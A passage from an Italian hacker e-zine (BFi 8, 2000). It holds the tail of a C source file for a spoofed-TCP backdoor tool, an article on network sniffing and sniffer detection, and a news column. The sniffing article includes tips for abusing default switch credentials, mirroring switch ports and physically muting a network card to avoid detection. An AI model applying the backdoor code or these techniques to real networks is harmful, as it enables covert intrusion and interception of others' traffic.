strcpy(pkt.data,what); pkt.tcp.urg_ptr=1234; /* MAYBE SOMETHING IS WRONG HERE */ tosum=malloc(sizeof(psd)+sizeof(pkt.tcp)); memcpy(&psd.saddr,&pkt.ip.ip_src.s_addr,4); memcpy(&psd.daddr,&pkt.ip.ip_dst.s_addr,4); psd.protocol=6; psd.lenght=htons(sizeof(struct tcphdr)+12+strlen(what)); memcpy(tosum,&psd,sizeof(psd)); memcpy(tosum+sizeof(psd),&pkt.tcp,sizeof(pkt.tcp)); pkt.tcp.check=in_chksum((u_short *)&tosum,sizeof(psd)+sizeof(pkt.tcp)); /* PACKET READY TO GO !!!!!! */ err=sendto(sock,&pkt,sizeof(struct ip)+sizeof(struct tcphdr)+sizeof(pkt.something)+strlen(what), 0,(struct sockaddr *)&from,sizeof(struct sockaddr)); } /* Function for the cksum.. ripped */ u_short in_chksum(u_short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return((u_short) answer); } void uso(){ printf("Backdoor On Non Connected And Spoofed Tcp Packets\n"); printf("Coded by |CyRaX| cyrax@freemail.it - |CyRaX|@ircnet\n"); printf("Member Of Packets Knights Crew ! www.programmazione.it/knights\n"); printf("Usage: server ./tcpb -s\n"); printf(" client ./tcpb -c \n"); printf("example : ./tcpb -s ; /tcpb -c 127.0.0.1 127.0.0.1\n"); exit(0); } <-X-> -------------------------------------------------------- -[ SNiFFA CHE Si SNiFFA --[ Noxious & smilzo Sniffa che si sniffa (una raccolta di piccole pulci per l'orecchio dello smanettone) by Noxious & Smilzo soci della - Metro Olografix - associazione culturale telematica (http://www.olografix.org) INTRODUZIONE In questo articolo parleremo dello sniffer in un modo un po' diverso e piu' teorico di quanto si faccia di solito, visto che oramai e' da considerarsi uno degli strumenti piu' utili per la comprensione delle reti. Il nostro scopo e' solo di dare qualche input alle anime piu' smanettone. Ovviamente non ci prendiamo nessuna responsabilita' nel caso il contenuto dell'articolo fosse usato in modo non canonico. Diamo per scontante le basi del TCP/IP; se cosi' non fosse datevi una letta ai vecchi articoli del buon FuSyS o uno 'sguardo' al celeberrimo TCP/IP Illustrated di Stevens. MR. ETHERNET I SUPPOSE... Il protocollo ethernet si colloca al livello 2 della pila OSI, il livello data-link. Lo standard e' definito CSMA/CD (Carrier Sense Multiple Access / Collision Detect) perche' piu' macchine posso accedere simultaneamente alla ethernet e ciascuna macchina puo' determinare lo stato della rete attraverso l'individuazione della portante. Quando una macchina ha un pacchetto da inviare controlla che la rete sia libera, altrimenti attende un tempo casuale per verificare se la rete e' ancora occupata. Una volta inviato il frame (vedi sotto) la macchina controlla la rete per verificare che altri segnali non interferiscano con la trasmissione (Collision Detect). Infatti se due frame vengono inviati quasi contemporaneamente, nessuno dei due risulta leggibile e si verifica una collisione. La ritrasmissione del frame avviene anch'essa dopo un tempo casuale per evitare che entrambe le macchine rispediscano di nuovo contemporaneamente i dati; se questo evento si riverifica, il precedente tempo di attesa viene moltiplicato esponenzialmente in ogni tentativo successivo. Il mittente comunque non ha nessuna informazione riguardo la ricezione dei dati da parte del destinatario (best-effort delivery), visto che normalmente questo e' compito dei protocolli di livello superiore al protocollo ethernet della pila OSI. Ogni scheda di rete ethernet contiene un indirizzo 'fisico' ed univoco (MAC address) che viene inserito direttamente nel firmware dal produttore e che serve a indirizzare i frame sulla corretta destinazione fisica. Nell'header del frame, oltre agli indirizzi MAC di destinazione e sorgente, e' specificato il protocollo incapsulato all'interno del frame, informazione fondamentale per il kernel che dovra' interpretare i dati in base al protocollo utilizzato. Piu' specificatamente, un classico frame Ethernet (per i curiosi, RFC 894) si compone di un header di 14 byte, 6 byte per l'indirizzo MAC di destinazione, 6 byte per l'indirizzo MAC sorgente e 2 byte per definire il tipo di protocollo incapsulato all'interno della frame. In coda al frame, dopo i dati, abbiamo 4 byte utilizzati per il CRC. Ora sappiamo di cosa stiamo parlando :) HUB? Tutti (noi speriamo) abbiamo avuto qualche esperienza con qualche tipo di rete lan. Sicuramente tutti abbiamo presente il concetto di 'hub', ma una ripassatina non fa male. L'hub (testualmente 'concentratore') viene utilizzato per creare delle reti cosiddette 'shared' con caratteristiche di risorse condivise. 'Shared' significa innanzitutto che tutte le macchine sulla rete condividono lo stesso cavo. Inoltre ogni macchina puo' inviare dei pacchetti quando vuole, questi non vengono indirizzati intelligentemente e vengono ricevuti da TUTTE le schede di rete collegate all'hub. In seguito sara' la stessa macchina a discriminare i pacchetti che la riguardano confrontando il MAC address di destinazione, e in caso di match con il proprio (che ricordiamo essere univoco), il pacchetto viene immagazzinato nel buffer e reso pronto per essere elaborato. Questo sistema, come potete ben immaginare, e' affetto da vari problemi, primo fra tutti le collisions dei frame (vedi sopra). Inoltre, sempre per il concetto di 'shared-media', e' molto facile intercettare i dati di passaggio sul cavo, dato che tutte le macchine sono in condizione di 'affacciarsi' sulla rete e 'vedere' tutto. Il diligente netmanager puo' essere avvantaggiato da una simile caratteristica della rete, ma come lui anche il prode hacker ne puo' trarre benefici :) Effettivamente analizzare il traffico di una rete puo' essere molto utile per vari motivi, primo fra tutti il debug e, non ultimo, quello di 'carpire' informazioni. SNIFFAMI! Da dove viene il nome 'sniffer'? Non ci crederete... dalla Network Associates. Per i romantici di turno, beh... un brusco ritorno alla realta' :) In effetti il prodotto della NA 'Sniffer Network Analyzer' vanta l'invenzione di un nuovo termine di uso comune. Il principio di funzionamento e' semplice. Riprendiamo per un attimo il discorso sul passaggio delle informazioni su un segmento di rete ethernet. Supponiamo di modificare il comportamento della nostra scheda di rete e di fargli elaborare anche i pacchetti non destinati alla nostra macchina. Per fare questo utilizziamo una feature dello standard 802.3, il 'promiscuous mode' per le schede di rete. Il comportamento della nostra scheda in questo caso sara' diverso: non accettera' piu' solo i pacchetti con il destination MAC che corrisponde al suo, ma accettera' tutti i pacchetti in transito, di qualsiasi tipo. Ogni commento e' superfluo :) HO PAURA.. Proteggersi dagli sniffer comuni e' un compito abbastanza semplice. Il metodo piu' veloce e' sicuramente creare une rete switched e non shared, installando degli switch al posto degli hub (ne parleremo in seguito). Un altro metodo e' la criptazione dei dati in transito. Per quanto riguarda specificatamente le password ci sono vari tipi di sistemi che ora non ci interessa elencare (uno fra tutti le one time password). Per proteggersi e comunque prendere delle contromisure dobbiamo prima INDIVIDUARE la presenza di uno sniffer sulla nostra lan. Ecco qualche dritta. I led dell'hub Uno dei metodi piu' empirici, funzionali e che presuppone una certa familiarita' con la rete in esame, consiste nel constatare la presenza di traffico non dovuto attraverso l'accensione del led di controllo di una porta dell'hub collegata fisicamente su una macchina che non dovrebbe creare traffico in quel momento. Puo' essere un buon indizio che richiede una verifica utilizzando gli altri metodi. Il dns Normalente gli sniffer sono configurati per restituire l'hostname degli ip che sniffano. Quindi fanno una query PTR al dns per avere questa informazione. Beh, se constatate un traffico anomalo di richeste dns da una macchina sospetta... non indugiate ed andate a controllare. Il ping Il trucco consiste nell'inviare una echo request ICMP all'indirizzo IP della macchina sospetta modificandone leggermente il MAC address e inserendone in effetti uno inesistente su quel segmento. Se la macchina in esame ci risponde, la sua scheda e' in modo promiscuo e probabilmente abbiamo individuato lo sniffer. Oltre al metodo del ping, possiamo utilizzare qualsiasi altro tipo di protocollo che preveda una risposta dalla macchina sospetta, ad esempio il finger, il time, etc. Metodo della latenza Questo e' il piu' intrigante e cattivo metodo per scoprire uno sniffer. Cosa succede se spediamo una quantita' enorme di pacchetti sulla rete? Si potrebbe dire quasi nulla. Effettivamente le macchine 'normali' non subiranno nessun rallentamento apprezzabile, ma la macchina in promiscuous mode... beh quella muore :-> Esistono altri metodi (come quello molto comune dell'ARP), ma andare a scoprirli puo' essere uno stimolo per la curiosita' del lettore. IL TANTO ATTESO SIGNOR SWITCH Per parlare degli switch facciamo prima una panoramica sul concetto di bridging. Un bridge semplice ha due sole interfacce di rete a cui sono collegati due segmenti di lan shared (vedi dis. A). La sua funzione e' di immagazzinare i dati che provengono da uno dei segmenti e inviarli sull'altro segmento SOLO se lo riguardano. Il bridge lavora a livello 2 (data-link) della pila OSI, infatti effettua controlli solo sull'indirizzo MAC di destinazione dei frame con una tabella dove riporta tutti i MAC delle schede collegate ai due segmenti di lan (vedi Tab. A). La sequenza delle operazioni e' questa: il bridge riceve e immagazzina il frame, legge il destination MAC e, se corrisponde ad uno dei MAC nella sua arp table, provvede ad inviare il frame attraverso una delle sue NIC verso il segmento corrispondente. - Disegno A __ __ s | | s e | |\ bridge /| | e g | | \ / | | g A m | NIC A | \____/ | NIC B | m B e |_____________| |_____________| e n | |__________| | n t__| |__t - Tabella A /----------------------------------------------\ | NIC A | NIC B | |----------------------|-----------------------| | 00-50-04-32-43-xx | 52-54-05-28-xx-xx | | 00-40-01-23-43-xx | 52-54-17-32-xx-xx | | 00-50-03-22-54-xx | 00-10-04-33-00-xx | \----------------------------------------------/ Nel caso in cui l'indirizzo richiesto nel pacchetto non fosse presente nella tabella, il bridge invia una richiesta arp in broadcast su entrambi i segmenti in modo da individuare eventuali nuove interfacce. In questo modo ogni segmento risulta fisicamente diviso dall'altro e le comunicazioni che avvengono internamente al segmento non vengono inviate attraverso il bridge. Lo switch e' semplicemente un perport bridge, ovvero un bridge con molte porte. Tipicamente lo switch viene utilizzato come super-hub (perdonateci il termine :), collegando direttamente i pc alle sue porte, ma un utilizzo piu' canonico prevede il collegamento di hub o altri switch invece dei pc. Questo secondo metodo viene utilizzato comunemente per reti di grandi dimensioni in cui vi sono esigenze di segmentazione fisica della rete preesistente (le Virtual LAN meritano un discorso futuro piu' approfondito). MI SFORZO MA NON CI RIESCO.., Per quelli che lo stanno facendo: smettetela, TEORICAMENTE non e' possibile sniffare in una rete switched. Ma come ormai tutti gli smanettoni sanno, nulla e' impossibile in informatica, 'tutto dipende dal tempo, dai soldi e dalle donne' (Maxxx maxima :) Sorvoliamo tutti gli interessanti discorsi sull'overflowing di richieste arp fittizie per trasformare il lavoro dello switch da 'bridging' a 'repeating' e passiamo subito al metodo piu' comodo :) SPAN E MONITOR PORT Prendiamo in esame una serie di apparati molto utilizzati, i SuperStack della 3Com. Questi switch hanno un modulo integrato per la configurazione che si puo' effettuare in tre modi. Via porta console, telnet e addirittura via web. Nota 1: capita spesso di trovare degli switch con un indirizzo ip pubblico e password di default (leggetevi i manuali per la pass). Se anche voi avete avuto un'idea da nobel del genere, beh... andate a chiudervi nel bagno vergognandovi come un camaleonte zoppo per un'ora :) Infatti attraverso queste comodissime interfacce di configurazione si puo' fare praticamente qualsiasi operazione sull'apparato. Un esempio? La possibilita' di disattivare tutte le porte dello switch che, se unita ad un cambio di password, vi fara' ritrovare con una rete bloccata e un DoS da fine dell'universo. Nota per quelli che erano in bagno prima: e' il momento di suicidarsi :) Un'altra possibilita' offerta da queste interfacce e' poter configurare una 'monitor' o 'span' port. Il primo termine appartiene molto all'ambito 3Com dove sugli switch possiamo monitorare il traffico di una sola porta alla volta. Dunque in questo caso dovremo decidere quale porta usare come bersaglio e quale come monitor port. Il termine 'span' invece riguarda molto l'ambito Cisco con i suoi Catalyst. Qui abbiamo la possibilita' di configurare una porta che riceve i dati anche di TUTTE le altre porte dello switch. Possiamo considerare questa porta cosi' configurata come una porta di un semplice hub. Tutte queste features vengono gestite attraverso i classici modi di interfacciamento di questi apparati, quali le porte console, il telnet e in quelli piu' recenti anche l'interfaccia web. Visto che questi sistemi di configurazione hanno normalmente dei menu user-friendly, pensiamo che non siano necessarie spiegazioni piu' dettagliate. Se comunque ne avete bisogno tutta la documentazione e' presente sui siti dei relativi costruttori :) Oltre questi metodi di configurazione ne manca uno che forse e' il piu' sfizioso: il protocollo SNMP. Il Simple Network Management Protocol e' pienamente supportato oltre che dai 3Com e dai Cisco, anche dalle altre maggiori marche, e -fidatevi- ci sono molti piu' switch con il supporto SNMP attivato e community di default che con password di default. Delle possibili sfiziosissime applicazioni dell'SNMP & Sniff parleremo magari in un prossimo articolo :) Nel frattempo fatevi una bella spremuta di... meningi :) SFRAJO SNIFFER Fino ad ora abbiamo discusso prevalentemente su come individuare uno sniffer e favorirne il funzionamento. Supponiamo di aver accesso fisico ad una rete e di non volere affatto che il nostro sniffer sia individuabile o che generi traffico inutile. Il metodo piu' efficace ed interessante e' quello di rendere 'muta' la scheda di rete della macchina su cui gira lo sniffer. Naturalmente la funzionalita' generale del collegamento fisico deve rimanere invariata in quanto la nostra scheda di rete deve continuare a ricevere i frame in ingresso. Sui cavi di rete oltre ad essere trasmessi i dati, viene mantenuto un segnale di link con l'hub. Questo impulso elettrico viene trasmesso dall'hub verso la scheda di rete che provvede a rinviarlo automaticamente. Ora, bloccare completamente i segnali in uscita della scheda di rete non consentirebbe il normale link con l'hub. Infatti l'hub non trovando nessun collegamento sulla porta, la considera non utilizzata. Il trucco c'e' e consiste nel 'danneggiare' i segnali in uscita dalla scheda. Complicato? Affatto. Questo nefasto segnale viene ritrasmesso solamente su uno dei due poli di trasmissione del cavo (TD+). Scollegando solamente l'altro polo (TD-), i frame in uscita dalla scheda verranno interpretati dalle altre macchine sulla rete come semplici disturbi, ma il segnale di link continuera' ad essere presente. Abbiamo fatto i nostri esperimenti del caso su una classica rete shared a 10Mbit con un comunissimo hub. Abbiamo preso un cavetto cat. 5 UTP (normalmente utilizzato per tutte le moderne lan ethernet) e abbiamo scollegato il pin 2 che provvede a fornire il segnale di Transmit Data negativo (TD-) di cui parlavamo sopra. Il nostro pc, come l'hub d'altronde, non si accorge minimamente della nostra modifica. L'hub vedendo un computer collegato, smista anche su di esso i frame della lan. Il computer dal suo canto li riceve tranquillamente. Quando il pc prova ad inviare dei frame non riscontra nessun problema poiche' vengono realmente spediti sulla rete, ma sono interpretati dal resto delle macchine solamente come disturbi e dunque ignorati. Non ci crederete, ma la cosa funziona veramente. (Un grazie sentito a _Q_ che ci ha permesso di 'tagliuzzare' il physical layer della sua rete :) Nella seconda parte approfondiremo alcuni discorsi qui solo accennati, sperando di avere piu' tempo per fornire anche qualche parte di codice utile. ... Penne (PE) ore 00:15 PIRIPI...PIRIPI... <\sPIRIT\> smilzo, quando e' pronto l'articolo? richiamami al 085/82xxxx che ho il cello scarico! DRIIIN...DRIIIN... <_Q_> pronto, carabinieri.. <\sPIRIT\> oh mi scusi.. DRIIIN...DRIIIN... pronto, carabinieri mi dica.. <\sPIRIT\> ah..carabinieri..scuss.. PIRIPI...PIRIPI... richiamami al quel caz di numero era un scherzo! <\sPIRIT\> ma porkkkkk... <\sPIRIT\> (mesto) ero ancora piu' coglione io che ci avevo creduto... ahahahahah Ringraziamenti W.R. Stevens... grazie per essere esistito, che il tuo spirito scenda su di noi per illuminarci. FuSyS per le consulenze sul codice... non usato :) AhPook per l'italianizzazione delle nostre nozioni tecniche. NeUrO, tu sei un grande sognatore... anche se i tuoi sogni sono sempre diventati realta'. Tutta la Metro Olografix e s0ftpj Bibliografia Internetworking with TCP/IP, Comer Sniffing-faq, Robert Graham Cisco training, Cisco training group -------------------------------------------------------- ============================================================================== ---------------------------------[ EOF 5/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-06100755 0 0 142777 7102660046 11006 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 6 di 28 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ NEWS -----[ Black Berry Eccoci giunti all'ennesimo numero di BFi, ma accipicchia, manca qualcuno! Sono stato incaricato di fare le news da Cavallo in persona, non chiedetemi il perche' di questa cosa, ho saputo solo due settimane fa che avrei dovuto fare questo pezzo, quindi se avete delle lamentele per le news di questo numero mandatele direttamente al signor equino: io non essendo stato pagato da Cavallo, trashero' direttamente le vostre simpatiche mail, a meno che non siate donne sull'orlo di una crisi di nervi o benefattori incalliti :) Beh bando alle ciance. Possiamo cominciare :) Che cos'e' successo di tanto interessante in questi giorni, da meritare di essere citato su questa zine? Beh mi hanno allargato la banda dell'uni da 2 sporchi Mbit a circa 100Mbit (ATM rulez), e la masterizzazione on the fly sta per divenire realta'!!! :) Poesia della matricola: "...dacci oggi il nostro wget quotidiano, ma levaci il proxy (-Y off) Aaaaaaaamen!" Bene, scorriamo le notizie in queste ultime settimane su Wired, Punto Informatico, Ansa e cosi' via, cosa notiamo? Finalmente i media hanno scoperto l'esistenza dei DDOS attack, accipikkia e meno male che e' un settore all'avanguardia! Uaooooo! La televisione non e' da meno, con Canale5 in testa che in uno speciale della domenica, afferma che i pirati informatici per mascherare i loro ip usano... udite udite... I PROXY!! E ancora l'Ansa scopre i tool, i ferri del mestiere di questi ragazzacci, i cosiddetti Demoni (daemons in inglese). Sembrerebbe che si siano fumati l'impossibile :) Vi rendete conto? Virus chamati akkatitipi', effetippi', poppetre (nuova versione del poppe2) Ommioddio!!! Dio salvi gli imbecilli! -[ News index ]- - McKenna is dead (pIGpeN) - Apertura Hacklab Verona (Berry & h0pFr0g) - sikurezza.org si rinnova (sikurezza.org staff) - Comunicato Hacklab-FI sugli Hacker's Days - Comunicato stampa di Peacelink (C.Gugitosa) - Comunicato Stampa Nodo50 (trad. ECN) - Coolio Updates (Berry) - Linux verso livelli high-end di affidabilita' (Zeus News) -[ McKenna is dead ]- --- snip --- Terence McKenna relinquished his body at 2:15 a.m. Pacific time today, April 3, 2000. He died at peace and with people whom he loved and who loved him. There will be memorial events in a few cities over the coming months, and information about them will be available as plans are made. Dan Levy http://www.levity.com/eschaton/index.html --- snip --- Non c'e' l'ha fatta a vedere il 2012, McKenna e' morto lasciando a tutti noi la sua storia. La sua morte coincide con importanti scoperte sul DNA... un caso? Ci affidiamo al calendario Maya... un saluto Terence :* -[ Apertura Hacklab Verona ]- "Sapere e' potere" - Francis Bacon Verona ha finalmente partorito il suo piccolo hacklab e come ogni creatura appena nata ha bisogno di cure e di una "culla". E' nato con i primissimi freddi, in novembre, con l'aiuto di pochi ragazzi che hanno saputo dimostrare che la creazione di un hacklab e' alla portata di qualsiasi realta' cittadina; basta la voglia di mettere a disposizione di tutti le proprie conoscenze in campo informatico al fine di creare maggiore consapevolezza delle possibilita' che ci offre la tecnologia e di conoscerne tutte le sue potenzialita', dalla programmazione alla tutela della privacy... Creare una rete di conoscenze, un'"intelligenza collettiva". L'hacklab ha una mailing list (il mezzo che per primo ci ha messo in comunicazione e resi "operativi") e una sua pagina web (http:// hacklabvr.vanadiumcorp.org) dove si puo' consultare anche il manifesto), ma per gli scopi che si propone servono piu' mezzi, piu' spazi. Per questo fin da subito ci si e' messi alla ricerca di una sede, una "zona temporaneamente autonoma", una "culla" dove poter crescere e dove poter dare ad altri la possibilita' di imparare gratuitamente ad utilizzare al meglio tutte le funzionalita' di un computer (sistemi linux, crittografia, protocolli di trasmissione dati,...). Gia', gratuitamente perche' il denaro non ci serve (se non a far fronte a quel minimo di spese di sopravvivenza); crediamo che l'informazione debba essere libera e alla portata di tutti. Ma senza uno spazio fisico e un minimo di materiale hard/software non si puo' diffondere una cultura informatica. Allo stato attuale esiste un'ipotesi di luogo in cui lavorare e promuovere corsi, ma stamo ancora "navigando" in alto mare... Un ottimo carburante per la nascita di qualcosa di concreto nella nostra citta' e' stato dato dall'amore e dalla fratellanza offertaci dagli altri hacklab italiani, in particolare da quelli di Firenze (ciao Leandro), di Catania e di Milano, che , a volte senza saperlo, ci hanno dato consigli utili per poter cominciare a gettare le basi di qualcosa di veramente concreto, primo tra tutti la Banca degli organi Hardware. Un freno (molto consumato) e' stata la presenza di preconcetti nella gente comune appena si sentiva sbattere il termine 'hacker' in faccia, soprattutto nel mese di febbraio, ma il 99% delle volte la gente ha preferito assistere ai fatti e quindi non abbiamo avuto grossi problemi in questo senso, almeno fino a quando non ci verra' a trovare un giornalista. Le nostre armi devono e dovranno essere i comunicati stampa, i volantini e quant'altro possa essere utile per abbattere quel muro di ignoranza etica e tecnica che ci separa dai nostri concittadini. Molto spesso ricevo mail o incontro amici che vorrebbero far parte del nostro gruppo, ma si sentono troppo ignoranti o cmq si sottovalutano. Io ritengo che chiunque, se vuole puo' dare qualcosa di se' al gruppo, anche al di la' dell'ambito informatico. Le scienze sono tante, le discipline pure. Smanettiamo su qualsiasi cosa, sia esso un Pc, un Mac, una frase apparsa sul giornale (Livraghi docet), un mangianastri, un suono che esce gracchiante da un citofono degli anni 80. Non ci sentiamo elite, non vogliamo esserlo. -- h0pFr0g & BlackBerry hckLAB Verona http://hacklabvr.vanadiumcorp.org email: hacklabvr@vanadiumcorp.org ml: hacklab-vr@itapac.net -[ sikurezza.org si rinnova ]- Il portale italiano dedicato alla sikurezza informatica, dopo soli pochi mesi di attivita', si rinnova nuovamente, questa volta creando una nuova mailing list dedicata esclusivamente alla crittografia, crittanalisi e ai loro utilizzi pratici (siano essi informatici o meno). L'iscrizione a questa nuova mailing list e' come la solito aperta a tutti. Per iscriversi, inviate un messaggio (vuoto) indirizzato a: crypto-subscribe@sikurezza.org e replicate al messaggio di conferma che vi arrivera'. Per maggiori informazioni sui comandi supportati dal mail server (sottoscrizione con indirizzi diversi, ml in forma digest, richiesta di messaggi o archivi, etc.), inviare un messaggio (vuoto) a crypto-help@sikurezza.org . Saranno ben accetti tutti i messaggi relativi ad algoritmi, teoria, pratica ed implementazione della crittografia. Invitiamo tutti i "frequentatori" di ml@sikurezza.org ad utilizzare questa nuova mailing list per i messaggi "crypto-related", salvo ovviamente segnalazioni/discussioni su vulnerabilita' e cattive implementazioni ed altro "security-related". Ricordo le regole base per postare su tutte le mailing list di sikurezza.org: - non postare messaggi offensivi, diffamatori, etc. (attenersi alla netiquette) - non postare messaggi formattati in html - limitare i quote, eliminando le parti inutili ai fini della comprensione del messaggio - limitare le firme non oltre le 4/5 righe - non postare messaggi di prova o di benvenuto - non inserire commenti per il moderatore all'interno dei messaggi destinati alla ml - no mail del tipo: anch'io la penso cosi', si' hai ragione, condivido etc - no post di/da altre ml (bugtraq, etc) - le mail ritenute "annoying" (spam, richieste di green & Co., thread estremamente fuori argomento, etc.) saranno "filtrate". Per contattare i moderatori della ml, inviare un messaggio a crypto-owner@sikurezza.org o a staff@sikurezza.org sikurezza.org staff -[ Comunicato Hacklab-FI sugli Hacker's Days ]- --- snip --- Con questo intervento intendiamo aprire una discussione su come mutano per Internet gli scenari economici politici e giudiziari dopo il martellamento mediatico dell'immaginario collettivo che ha fatto seguito agli "Hacker's Days" (come sono stati ribattezzati dalla stampa USA gli attacchi che hanno bloccato per qualche ora Yahoo! e altri noti siti del commercio elettronico") e su come affrontare i problemi che questi mutamenti pongono a chi intenda mantenere quegli spazi di comunicazione libera e non omologata al "pensiero unico" che sinora e' stato possibile aprire dentro Internet. La prima cosa che si impone anche all'osservatore superficiale e' quanto sia stata enorme la sproporzione tra quanto e' effettivamente successo -- chi bazzica la rete sa bene che il down di qualche ora di un server e' cosa abbastanza comune, e che la stragrande maggioranza degli utenti da se' non si sarebbe nemmeno accorta di quel che era successo -- il panico generale che si e' sollevato o che si e' preteso di sollevare, e le misure che si vorrebbero adesso far credere destinate a "ripristinare la sicurezza di tutti su Internet". Nemmeno le conseguenze finanziarie dell'episodio giustificano il gigantesco spettacolo mediatico e gli strappamenti di capelli di presidenti USA e governi messi in scena per l'occasione. Chi ha familiarita' con gli andamenti borsistici sa bene che i cali dell'indice Dow-Jones e Nasdaq che si sono verificati (seguiti del resto da pronti rialzi grazie alla vertiginosa impennata dei titoli delle aziende che si occupano di sicurezza) sono fisiologici, specie quando ci sono in ballo capitalizzazioni finanziarie gonfiatissime come quelle di cui sono stati oggetto i siti del commercio elettronico. E sa benissimo che in occasioni del genere, se c'e' qualcuno che ci perde c'e'anche qualcun altro che ci guadagna. Ma si ingannerebbe anche chi volesse vedere in questa sproporzione solo la consueta isteria mediatica di giornalisti e mezzibusti televisivi a caccia di notizie strabilianti da vendere. Stavolta, ad aprire il gran ballo la cui solfa finale e' come sempre "piu' sicurezza in rete per difendere il commercio elettronico" (e vedremo cosa significa questo discorso) sono stati gli astri piu' luminosi nel firmamento del potere mondiale. Poche ore dopo l'accaduto, Janet Reno, ministro della giustizia USA, ha solennemente promesso al mondo la cattura dei "cybercriminali del terzo millennio" (suona bene, nevvero?) Clinton ha esternato le sue stupefatte preoccupazioni. Parlamenti e governi di tutto il mondo si sono accodati ai leader del Nuovo Ordine Mondiale nelle sortazioni a identificare e scongiurare questa nuova minaccia all'umanita'. A questo proposito, si potrebbe anche osservare che forse forse, agli albori del terzo millennio, ci sarebbero per l'umanita' dei pericoli un tantinello piu' gravi di cui preoccuparsi: le guerre di sterminio, l'inquinamento ambientale e lo spreco delle risorse, la miseria, lo sfruttamento e la morte per fame e malattia di centinaia di milioni di uomini donne e bambini... Problemi che magari non sono cosi' cyberaffascinanti, ma da cui l'umanita' -- ivi compresi quei due miliardi di persone che in vita loro non hanno mai fatto una telefonata -- e' magari un tantinello piu' afflitta che non dal simpaticone di turno che viola un sito Web per falsificare le parole di Clinton e mettergli in bocca che in rete ci vuole piu' pornografia, venendo promosso per qualche giorno al rango di spauracchio mondiale. Ma si sa, noi siamo degli irriducibili renitenti al pensiero unico, e siamo cosi' pericolosamente estremisti da credere che i sacri principi del business e della logica del profitto non bastino a giustificare la barbarie e gli orrori del "Nuovo Ordine Mondiale"... Comunque, retoriche millenariste a parte, le ipotesi sugli autori di questo "vilissimo attentato" si sono sprecate. Si va dalle esilaranti dichiarazioni di Eric Holder (viceministro della giustizia USA) che ha dato la colpa ai genitori americani, che trascurano di sorvegliare i loro vispi pargoletti quando stanno al computer, alle seriose ipotesi dell'FBI sul "nuovo terrorismo elettronico" nato sulla scia del complotto in rete ordito da cospiratori internazionali per fracassare le vetrine di Seattle. Su quest'ultimo punto in particolare si e' accanita la stampa, insistendo nel confondere (spesso con fraintendimenti tecnici tanto assurdi quanto divertenti, specie se messi in bocca all'hacker di turno frettolosamente scovato a scopo di intervista) consolidate e tradizionali pratiche di disobbedienza civile in rete quali il "netstrike" o l'invio massiccio di e-mail di protesta con un attacco tipo "distributed denial of service" come quello attuato contro Yahoo! e co. A questo proposito, dobbiamo essere decisi nel denunciare che dietro "fraintendimenti" del genere puo' nascondersi il tentativo autoritario di equiparare alcune tecniche di disobbedienza civile -- tutto sommato legalitarie -- a comportamenti che costituiscono reato penale. Ma dobbiamo anche essere altrettanto decisi nell'affermare che noi non condanniamo ne' ci dissociamo a priori da chi decide di "commettere reato" per motivi che ci sembrino politicamente ed eticamente condivisibili <>. Sappiamo troppo bene quali abusi, orrori ed ignominie possono essere coperti dal manto della legge dello stato perche' il suo rispetto ci sembri l'unica o piu' importante considerazione da fare in circostanze del genere. Se questo suona sgradito a chi ha tentato affannosamente di ricoprire l'hacker col vestito della rispettabilita' a tutti i costi -- fingendo di scordare o ignorando quanti hacker con la legge hanno avuto problemi in nome della libera circolazione dei saperi e dell'informazione -- molto semplicemente non sappiamo che farci. Ma nemmeno ci interessa giocare agli investigatori da romanzo giallo o rivendicare un movente politico di nostro gusto per un'azione che resta invece aperta a tutte le interpretazioni -- vista la totale assenza di ogni dichiarazione o rivendicazione -- e sulla quale ogni ipotesi e' legittima. Una volta sottolineato che la scelta dei siti da attaccare non sembra casuale (si trattava dei siti maggiormente rappresentativi del commercio elettronico e che avevano visto maggiormente crescere le proprie quotazioni in borsa) e che chi ha compiuto l'attacco ha avuto se non altro la competenza necessaria a non farsi rintracciare, ci interessa innanzitutto prendere in esame quale realta' stia prendendo forma dietro le roboanti dichiarazioni sulla necessita' di ripristinare "la sicurezza in rete" da cui siamo stati subissati nei giorni successivi. E una prima realta' da prendere in considerazione, ignorata da quasi tutti, e' questa: LE BANCHE USA SAPEVANO IN ANTICIPO DELL'ATTACCO. Secondo una nota dell'Associated Press del 14 Febbraio, il "Financial Services Information Sharing and Analysis Center" (FSISAC) aveva diramato diversi allarmi urgenti agli esperti di sicurezza di varie banche USA almeno quattro giorni prima degli inizi degli attacchi, indicando anche alcuni indirizzi Internet di macchine compromesse da cui l'attacco sarebbe arrivato. Ma la notizia non e' stata trasmessa dalle banche all'FBI o ad altre agenzie di polizia USA. Va sottolineato che il FSISAC, secondo l'Associated Press, e' un centro informazioni riservato, al punto che la sua stessa locazione fisica e l'elenco delle banche che usufruiscono dei suoi servizi -- che costano sino a 125.000 dollari -- sono tenuti segreti. Questo centro e' stato recentemente sviluppato e potenziato dietro diretto ordine presidenziale e in questa occasione si e' dimostrato molto efficace. Le banche hanno potuto tenere segreta la notizia degli imminenti attacchi grazie a una precisa disposizione voluta dal Dipartimento del Tesoro USA, per cui non sono tenute a condividere con gli organismi di polizia statali e federali eventuali notizie e informazioni su reati ottenute attraverso questo di sorveglianza. I vertici USA hanno ritenuto che qualunque obbligo in questo senso avrebbe disincentivato le banche ed altri soggetti strategici per l'economia statunitense dall'attrezzarsi per una efficace vigilanza contro "impiegati disonesti, bug nel software, virus ed hacker". Senza voler commentare se questa notizia possa dare particolare credibilita' alle ipotesi di chi ha visto negli attacchi ad Yahoo! etc. una manovra volta a destabilizzare la borsa a fini speculativi, ci pare evidente come essa getti una luce un tantinello diversa sulla stupefazione di Clinton all'indomani degli attacchi. In particolare ci porta a domandare quale senso abbia, ai fini della sicurezza reale, investire milioni di dollari in strutture come il 